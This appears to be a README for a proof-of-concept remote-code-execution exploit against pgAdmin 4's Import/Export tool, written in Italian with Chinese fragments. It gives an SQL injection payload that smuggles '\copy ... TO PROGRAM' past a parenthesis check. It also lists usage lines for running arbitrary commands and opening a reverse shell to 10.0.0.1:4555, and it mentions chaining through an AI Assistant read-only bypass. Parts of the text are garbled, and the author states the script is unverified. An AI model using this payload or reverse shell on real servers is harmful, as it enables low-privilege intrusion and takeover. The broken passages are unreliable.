
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - iniezione TO PROGRAM tramite disallineamento di escape con barra rovesciata
PoC di esecuzione remota di codice per lo strumento Import/Export Data di pgAdmin 4. Sfrutta la divergenza semantica dell'escaping della barra rovesciata tra il controllo parentesi _is_query_parens_balanced() e psql, iniettando \copy ... TO PROGRAM per eseguire comandi arbitrari sul server che esegue pgAdmin.
Catena d'attacco di contesto: CVE-2026-17349 (divulgazione di credenziali Workspaces) → CVE-2026-17351 (bypass di sola lettura dell'AI Assistant) → questa vulnerabilità (RCE). Tutte e tre richiedono solo un utente autenticato con privilegi bassi.
Lo strumento Import/Export Data inserisce l'SQL dell'utente in un template Jinja per costruire il comando psql \copy (...). Il controllo manuale del bilanciamento delle parentesi tratta sempre \' come una virgoletta escape (corretto solo quando standard_conforming_strings=off); mentre con PostgreSQL predefinito , , chiudendo direttamente la virgoletta.
standard_conforming_strings=on-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
Il controllo ritiene che ) sia ancora dentro la stringa → il bilanciamento delle parentesi risulta "ok"; psql chiude la stringa in corrispondenza di a\', ) termina il wrapper \copy (...), e TO PROGRAM 'cmd' diventa un'istruzione attiva, eseguita dalla popen() di psql.
_is_query_parens_balanced()); commit di fix 1496fabeTO PROGRAM di psql, stessa famiglia)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Parametro | Descrizione |
|---|---|
--url | URL base di pgAdmin |
--user / --password (o PGADMIN_PASSWORD) | Account con privilegi bassi |
--command | Comando arbitrario (non può contenere apici singoli) |
--reverse HOST:PORT | Genera una reverse shell bash |
--server-id | ID del server (predefinito: primo disponibile) |
--file | Nome del file di esportazione (usato per costruire il comando \copy, predefinito /tmp/pgadmin_export.csv) |
--no-verify | Salta la verifica del certificato TLS |
Flusso: login (gestione automatica di CSRF/sessione) → enumerazione dei server → invio della richiesta is_query_export costruita tramite POST /import_export/job/<sid>.
Utilizzare esclusivamente per ricerca di sicurezza, verifica di vulnerabilità e test difensivi. Questo script è stato scritto sulla base di analisi tecniche pubbliche e non è stato verificato su un sistema reale: i campi delle richieste potrebbero richiedere piccole regolazioni in base alla versione di pgAdmin di destinazione. Eseguire solo in ambienti di test autorizzati; non utilizzare su sistemi non autorizzati.